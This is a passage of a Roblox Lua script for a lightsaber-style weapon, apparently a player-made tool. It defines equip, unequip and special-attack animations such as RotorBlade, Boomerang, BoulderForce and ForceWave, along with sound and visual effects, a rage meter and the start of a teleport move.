lhh.Parent = nil
rhh.Parent = nil
Lh.Parent = Torso
Rh.Parent = Torso
Lh.Part0 = Tor
Rh.Part0 = Tor
Lh.Part1 = Char["Left Leg"]
Rh.Part1 = Char["Right Leg"]
return Lh,Rh
else
Rh.Parent = nil
Lh.Parent = nil
local hl,hr = it("Weld",Torso),it("Weld",Torso)
hl.Part0 = Fll
hr.Part0 = Frl
hl.Part1 = Char["Left Leg"]
hr.Part1 = Char["Right Leg"]
hr.C1 = cf(-0.5,1.75,0)
hl.C1 = cf(0.5,1.75,0)
return hl,hr
end
end
Anims = {}
Anims.Equip = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(180),0) H1w.C1 = ca(mr(-90),0,0)
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Anim.Act = false
end
Anims.UnEquip = function(i1,i2,is)
Anim.Act = true
Sound(Sounds.SaberLightUp,3,1)
for i=i1,i2,is do
Blad1w.C0 = cf(0,0.95+(0.95*i),0)
Blad2w.C0 = cf(0,0.95+(0.95*i),0)
M1.Scale = Vector3.new(1,1*i,1)
M2.Scale = Vector3.new(1,1*i,1)
Blad1.Transparency = 0.9-(1*i)
Blad2.Transparency = 0.9-(1*i)
Glow1w.C0 = cf(0,0.95+(0.95*i),0)
Glow2w.C0 = cf(0,0.95+(0.95*i),0)
GM1.Scale = Vector3.new(1,1*i,1)
GM2.Scale = Vector3.new(1,1*i,1)
Glow1.Transparency = 1.05-(0.5*i)
Glow2.Transparency = 1.05-(0.5*i)
wait()
end
Sound(Sounds.Slash,1,1)
for i=i1,i2,is do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(270*i)),0)
LW.C1 = ca(mr(-80*i),mr(40*i),0)
LW.C0 = cf(0.6*i,0.3*i,-1*i)
RW.C1 = ca(mr(40+(-120*i)),mr(20+(-60*i)),0)
RW.C0 = cf(-0.4+(-0.2*i),-0.1+(0.4*i),0.4+(-1.4*i))
wait()
end
H1w.Part0 = Torso
H1w.Part1 = H1
H1w.C0 = cf(0.4,-0.7,0.5) *ca(0,0,mr(45))
H1w.C1 = cf(0,0,0) *ca(0,0,0)
for i=i1,i2,is do
RW.C1 = ca(mr(40*i),mr(20*i),0)
RW.C0 = cf(-0.4*i,-0.1*i,0.4*i)
wait()
end
Anim.Act = false
end
Anims.ChangeToDual = function(i1,i2,is)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Sound(Sounds.SaberHit,1,1)
Sound(Sounds.SaberLightUp,2,0.5)
H1w.Part0 = La
H1w.Part1 = H1
H2w.Part0 = Ra
H2w.Part1 = H2
H2w.C1 = ca(mr(-90),0,0)
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
Anim.Act = false
end
Anims.ChangeToSingle = function(i1,i2,is)
Anim.Act = true
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-90+(-90*i)),mr(20+(-20*i)))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(90+(90*i)),mr(-35+(-35*i)))
LW.C1 = ca(mr(-80+(20*i)),mr(40+(-70*i)),0)
LW.C0 = cf(0.6+(-0.6*i),0.3+(-0.3*i),-1+(0.5*i))
RW.C1 = ca(mr(-80+(20*i)),mr(-40+(70*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(-0.3*i),-1+(0.5*i))
wait()
end
H1w.Part0 = Ra
H1w.Part1 = H1
H2w.Part0 = H1
H2w.Part1 = H2
H2w.C1 = ca(0,0,0)
H2w.C0 = cf(0,-0.8,0) *ca(mr(180),0,0)
Sound(Sounds.SaberLightUp,2,0.5)
Sound(Sounds.SaberHit,1,1)
for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(mr(-80*i),mr(50*i),0)
wait()
end
Anim.Act = false
end
Anims.RotorBlade = function(i1,i2,is,RaigCost)
local lolpos = (Torso.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
local ally = (((mouse.X-(mouse.ViewSizeX/2))/mouse.ViewSizeX)*1.8)*-90
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed + (8*Speed)
Left = true
Right = true
Dash(Blad1,2/Speed,nil,2)
Dash(Blad2,2/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2*4,is do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(360*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Hum.WalkSpeed = Hum.WalkSpeed - (8*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(90*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(((-90)+ally)*i),0)
Torw.C1 = ca(0,mr(-90*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
-------
Anims.Boomerang = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
local lolpos = (Head.Position - mouse.hit.p).unit
local allx = (lolpos.y*80)-10
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed)
Left = true
Right = true
Dash(Blad1,3.8/Speed,nil,2)
Dash(Blad2,3.8/Speed,nil,2)
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,-0.4,0) *ca(mr(-90),0,0)
local soundtime = 0
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(10*i,-1.1+(-15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(10+(-20*i),-16.1,0) *ca(mr(90),mr(720*i),0)
wait()
end
for i=i1,i2,is/2 do
if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end
H1w.C0 = cf(-10+(10*i),-16.1+(15*i),0) *ca(mr(90),mr(720*i),0)
wait()
end
H1w.C0 = cf(0,-1.1,0) *ca(0,0,0) H1w.C1 = cf(0,0,0) *ca(mr(-90),0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed)
Left = false
Right = false
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(60*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(allx*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-60*i),0)
Torw.C1 = ca(0,mr(-60*i),0)
H1w.C0 = cf(0,-1.1,0) *ca(mr(80*i),0,0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.BoulderForce = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local bould = p(workspace,"Block",4,4,8,true,true,0,0,"Medium stone grey") bould.Name = "Boulder" bould.Material = "Concrete"
local rm = RockMesh:Clone() rm.Scale = Vector3.new(3,3,4.8) rm.Parent = bould
bould.Elasticity = 0 bould.Friction = 2 bould.CFrame = cf(Torso.Position.x+(math.random(-14,14)),Torso.Position.y-5,Torso.Position.z+(math.random(-14,14))) *CFrame.Angles(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/10)
local warpdes = true
local bpos = bould.Position
Sound(Sounds.Cast,0.95,0.8)
coroutine.resume(coroutine.create(function() repeat Functions.BrickWarpDesign(bould,9) wait() until warpdes == false end))
for i=0,1,0.08 do bould.CFrame = CFrame.new(bpos.x,bpos.y,bpos.z) + Vector3.new(0,20*i,0) wait() end wait(1) bould.CFrame = CFrame.new(bpos.x,bpos.y+20,bpos.z) bould.CFrame = cf(bould.Position,mouse.hit.p)
bould.Anchored = false wait() bould.Velocity = bould.CFrame.lookVector *(math.random(180,350)) bould.Touched:connect(function(hit) Functions.BoulderTouch(hit,bould) end)
wait(0.5)
warpdes = false
game.Debris:AddItem(bould,10)
for i=i2,i1,-is do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
Torw.C1 = ca(0,0,0)
Anim.Act = false
end
Anims.ForceWave = function(i1,i2,is,RaigCost)
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position - Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then Anim.Act = false return end
MinusRage(RaigCost)
Anim.Act = true
lh2,rh2 = FeetWeld(true,Lh,Rh)
local bp2 = Instance.new("BodyPosition",Torso)
bp2.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
DebounceSpeed = DebounceSpeed + (1.1*Speed)
bp2.position = Torso.Position + Vector3.new(0,25,0)
Dash(Blad1,2.5/Speed)
Dash(Blad2,2.5/Speed)
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0,BladeColor) wav.Anchored = true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
wavm.Scale = Vector3.new(15,6,15)
local cff = Torso.CFrame - Vector3.new(0,0,0)
coroutine.resume(coroutine.create(function()
Dash(Blad1,4/Speed)
Dash(Blad2,4/Speed)
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end for i=i1,i2*3,is*Speed do H1w.C1 = ca(mr(-50),mr(360*i),0) wait() end end)) Sound(Sounds.Cast,0.45,1) for i=i1,i2*5,is do Functions.BrickWarpDesign(Torso,13) wav.CFrame = cff *ca(0,mr(180*i),0) wait() end
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end wav:Remove()
for i=i2,i1,-is*Speed do
LW.C1 = ca(mr(-80+(-100*i)),mr(40-(40*i)),mr(45*i))
LW.C0 = cf(0.6,0.3+(1.4*i),-1+(1*i))
RW.C1 = ca(mr(-80+(-100*i)),mr(-40+(40*i)),mr(-45*i))
RW.C0 = cf(-0.6,0.3+(1.4*i),-1+(1*i))
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
H1w.C0 = cf(0,-1.1+(-0.9*i),0) *ca(0,mr(360*i),0)
H1w.C1 = ca(mr(-90+(40*i)),0,0)
wait()
end
bp2:Remove()
local bg = Instance.new("BodyGyro",Torso) bg.maxTorque = Vector3.new(math.huge,0,math.huge)
local bp = Instance.new("BodyPosition",Torso) bp.position = Torso.Position bp.maxForce = Vector3.new(math.huge,1000000,math.huge)
rpos = math.abs(hitpos.y - Torso.Position.y)
rpos = rpos - 1.2
local tpos = Torso.Position
Hum.WalkSpeed = 0
Hum.PlatformStand = true
Dash(Blad2,1.6/Speed,RingMesh.MeshId)
for i=i1,i2,is do
bp.position = tpos - Vector3.new(0,rpos*i,0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
wait(0.25)
Sound(Sounds.Boom,0.5,1)
Sound(Sounds.EnergyBlast,0.9,1)
Right = true
ShockWave(Torso,50,BladeColor)
wait(1.5)
Right = false
local t2pos = Torso.Position
for i=i2,i1,-is do
bp.position = t2pos - Vector3.new(0,1.5-(1.5*i),0)
Neck.C0 = cf(0,1-(0.5*i),-0.5*i) *ca(Neck.C1:toEulerAnglesXYZ())
Torw.C1 = ca(mr(20*i),0,0)
Torw.C0 = cf(0,-0.2*i,-0.2*i)
lh2.C0 = cf(-0.5,-1.9+(1*i),-1.1*i) *ca(mr(10*i),mr(90),0)
rh2.C0 = cf(0.5,-1.9+(1*i),0.1*i) *ca(mr(-95*i),mr(-90),0)
LW.C1 = ca(mr(-80+(30*i)),mr(40),0)
LW.C0 = cf(0.6,0.3-(0.3*i),-1+(0.3*i))
RW.C1 = ca(mr(-80+(30*i)),mr(-40),0)
RW.C0 = cf(-0.6,0.3-(0.3*i),-1+(0.3*i))
H1w.C0 = cf(0,-1.1,0) *ca(mr(55*i),0,0)
wait()
end
DebounceSpeed = DebounceSpeed - (1.1*Speed)
bp:Remove()
bg:Remove()
Hum.PlatformStand = false
Hum.WalkSpeed = RealSpeed
Torw.C1 = ca(0,0,0)
Anim.Act = false
Lh,Rh = FeetWeld(false,lh2,rh2)
end
Anims.DualSpin = function(i1,i2,is,RaigCost)
MinusRage(RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end
DebounceSpeed = DebounceSpeed - (0.5*Speed) Right = true Left = true Dash(Blad1,2.6/Speed,nil,2) Dash(Blad2,2.6/Speed,nil,2) local x,y,z = Neck.C0:toEulerAnglesXYZ()
local soundtime = 0
for i=i1,i2*4,is*Speed do if soundtime == 10 then soundtime = 0 Sound(Sounds.SaberSlash,2.5,0.5) else soundtime = soundtime + 1 end Torw.C1 = ca(0,mr(i*360),0) Neck.C0 = cf(0,1,0) *ca(x,y,z+mr(-360*i)) wait() end Neck.C0 = cf(0,1,0) *ca(x,y,z)Torw.C1 = ca(0,0,0)
DebounceSpeed = DebounceSpeed + (0.5*Speed) for i=i2,i1,-is*Speed do
H1w.C0 = cf(0,-1.1,0) *ca(0,mr(-180-(-90*i)),mr(0*i)) H1w.C1 = ca(mr(-90-(60*i)),0,mr(0*i))
H2w.C0 = cf(0,-1.1,0) *ca(0,mr(180-(270*i)),mr(0*i)) H2w.C1 = ca(mr(-90+(-30*i)),0,0)
LW.C1 = ca(mr(-60+(-40*i)),mr(-30+(-75*i)),mr(0*i))
LW.C0 = cf(0.13*i,0.5*i,-0.5+(0.5*i))
RW.C1 = ca(mr(-60+(-20*i)),mr(30+(45*i)),mr(0*i))
RW.C0 = cf(0.13*i,0.4*i,-0.5+(0.4*i))
wait()
end Right = false Left = false
Anim.Act = false
end
----------------------------
----------------------------
----------------------------
----------------------------
Lh = Torso["Left Hip"]
Rh = Torso["Right Hip"]
Functions = {}
Functions.BoulderTouch = function(hit2,bould)
print(bould.Name)
for i,v in pairs(workspace:GetChildren()) do
if v ~= Char and v ~= nil and v:findFirstChild("Torso") ~= nil and v:findFirstChild("Humanoid") ~= nil then
if math.abs((v.Torso.Position-bould.Position).magnitude) < 11 and ft(RightDebounce,v.Name) == nil then
Sound(Sounds.Smash,1,1)
Dmgz(v.Humanoid,Damage["BoulderForce"])
table.insert(RightDebounce,v.Name)
print(v.Name)
coroutine.resume(coroutine.create(function()wait(DebounceSpeed) local nf = ft(RightDebounce,v.Name) if nf ~= nil then table.remove(RightDebounce,nf) end end))
end
else
if v ~= bould and v:IsA("BasePart") and v.Anchored == false and math.abs((v.Position-bould.Position).magnitude) < 11 then v:BreakJoints() v.Velocity = cf(bould.Position,v.Position).lookVector*10 + Vector3.new(0,10,0) end
end
end -- for
end
Functions.Sparkle = function(bb,scal,si)
if si == nil then si = 1 end
local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-scal,scal),math.random(-scal,scal))
local np = p(Torm,"Block",0.1,0.1,0.1,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(rand.x,rand.y,rand.z) *ca(math.random(-33,33)/10,math.random(-33,33)/10,math.random(-33,33)/10)
local dm = DiamondMesh:Clone() dm.Scale = Vector3.new(0,0,0) dm.Parent = np
coroutine.resume(coroutine.create(function()
for i=0,1*si,0.1*si do
dm.Scale = Vector3.new(1*i,1.25*i,1*i)
wait()
end
end))
coroutine.resume(coroutine.create(function()
wait(0.1)
for i=0,1,0.1 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.BrickWarpDesign = function(bb,scal)
local rand = bb.Position + Vector3.new(math.random(-scal,scal),math.random(-scal,scal),math.random(-scal,scal))
local mag = (rand - bb.Position).magnitude
local np = p(Torm,"Block",0.1,0.1,mag-3,false,true,0.1,0.2,BladeColor)
np.CFrame = cf(bb.Position,rand)
np.CFrame = np.CFrame + np.CFrame.lookVector*((scal/5)+(mag/2))
coroutine.resume(coroutine.create(function()
for i=0.1,1,0.05 do
np.Transparency = i
wait()
end
np:Remove()
end))
end
Functions.RageRegen = function()
local lostcontrol = false
local hpos = Torso.Position.y + 10
Anim.Move = "RageRegening"
Anim.Act = true
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,1,0,BladeColor) wav.Anchored = true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(5,3.5,5)
wav.CFrame = cf((Torso.CFrame * CFrame.new(0,-2.5,0)).p) *ca(0,mr(wavv),0)
local bp = Instance.new("BodyPosition",Torso)
bp.maxForce = Vector3.new(0,math.huge,0)
Humanoid.WalkSpeed = Humanoid.WalkSpeed - (RealSpeed-4)
bp.position = Torso.Position + Vector3.new(0,10,0)
local bpos = bp.position
coroutine.resume(coroutine.create(function()
lh2,rh2 = FeetWeld(true,Lh,Rh)
if SwordType == "Single" then
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
for i=0,1,0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
local function movezx(i1,i2,is,bp)
if SwordType == "Single" then
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-120+(20*i)),0,0)
LW.C0 = cf(0,0.8,0.7) *ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-120+(20*i)),0,0)
RW.C0 = cf(0,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
wait()
end
else
for i=i1,i2,is*Speed do
LW.C1 = ca(mr(-110),mr(0),0)
LW.C0 = cf(-0.1,0.8,0.7) *ca(0,mr(120+(20*i)),0)
RW.C1 = ca(mr(-110),mr(0),0)
RW.C0 = cf(0.1,0.8,0.7) *ca(0,mr(-120+(-20*i)),0)
lh2.C1 = ca(mr(30+(-15*i)),0,mr(15+(-8*i)))
rh2.C1 = ca(mr(30+(-15*i)),0,mr(-15+(8*i)))
lh2.C0 = cf(-0.7,-1.9,0.35)
rh2.C0 = cf(0.7,-1.9,0.35)
bp.position = Vector3.new(bpos.x,(hpos+10)+(3*i),bpos.z)
wait()
end
end
end
local moved = 2
repeat
if Rage >= MaxRage or Anim.key.z == false then break end
if moved == 2 then moved = 1 movezx(0,1,0.025,bp) else moved = 2 movezx(1,0,-0.025,bp) end
until Rage >= MaxRage or Anim.key.z == false or lostcontrol == true
if SwordType == "Single" then
for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-80+(-30*i)),mr(40-(40*i)),0)
LW.C0 = cf(0.6-(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-80+(-30*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.6*i),0.3+(0.5*i),-1+(1.7*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
else
for i=1,0,-0.1*Speed do
LW.C1 = ca(mr(-60+(-50*i)),mr(-40-(-40*i)),0)
LW.C0 = cf(-0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(120*i),0)
RW.C1 = ca(mr(-60+(-50*i)),mr(40+(-40*i)),0)
RW.C0 = cf(0.1,0.8*i,-0.5+(1.2*i)) *ca(0,mr(-120*i),0)
lh2.C1 = ca(mr(30*i),0,mr(15*i))
rh2.C1 = ca(mr(30*i),0,mr(-15*i))
lh2.C0 = cf(-0.5+(-0.2*i),-1.9,0.35*i)
rh2.C0 = cf(0.5+(0.2*i),-1.9,0.35*i)
wait()
end
end
Lh,Rh = FeetWeld(false,lh2,rh2)
wait(0.6)
Anim.Act = false
Anim.Move = "None"
end))
for i=1,0.3,-0.14*Speed do wav.Transparency = i wait() end
rpos = 0
Sound(Sounds.Cast,0.8,1)
repeat wait()
local Hit, hitpos = rayCast(Torso.Position,((Torso.Position - Vector3.new(0,10000,0)) - Torso.Position),999.999,Player.Character)
if Hit == nil then lostcontrol = true break end
hpos = hitpos.y if math.random(1,6) == 4 then Functions.Sparkle(Torso,8) end
if math.random(1,3) == 3 then Functions.BrickWarpDesign(Torso,10) end wavv = wavv + 10 Rage = Rage - (RageCost["RageRegening"]*RageIncome)
wav.CFrame = cf(Torso.Position.x,hpos+1.4,Torso.Position.z) *ca(0,mr(wavv),0)
until Rage >= MaxRage or Anim.key.z == false
for i=0.3,01,0.14*Speed do wav.Transparency = i wait() end wav:Remove()
bp:Remove()
Humanoid.WalkSpeed = Humanoid.WalkSpeed + (RealSpeed-4)
end
Functions.Teleport = function(i1,i2,is,RaigCost)
Anim.Act = true
for i=i1,i2,is*Speed do
LW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(40+(-40*i)),0)
LW.C0 = cf(0.6+(-0.9*i),0.3,-1+(1*i)) *ca(0,mr(50*i),0)
RW.C1 = cf(0,0.5*i,0) *ca(mr(-80+(-25*i)),mr(-40+(40*i)),0)
RW.C0 = cf(-0.6+(0.9*i),0.3,-1+(1*i)) *ca(0,mr(-50*i),0)
Torw.C1 = ca(0,mr(50*i),0)
wait()
end
local tele = false
local tele2 = false -- for mouse
local mouseact = mouse.Button1Up:connect(function() tele2 = true end)
coroutine.resume(coroutine.create(function() Sound(Sounds.Cast,1.2,1) wait(12) tele = true end))
local telepos = Torso.Position
local telehit = nil
local wav = p(Torm,"Block",0.1,0.1,0.1,true,false,0.3,0.1,BladeColor) wav.Anchored = true
local wavm = BlastMesh:Clone()
wavm.Parent = wav
local wavv = 0
wavm.Scale = Vector3.new(3.5,2,3.5)
repeat
local mpos = mouse.hit.p + Vector3.new(0,2,0)
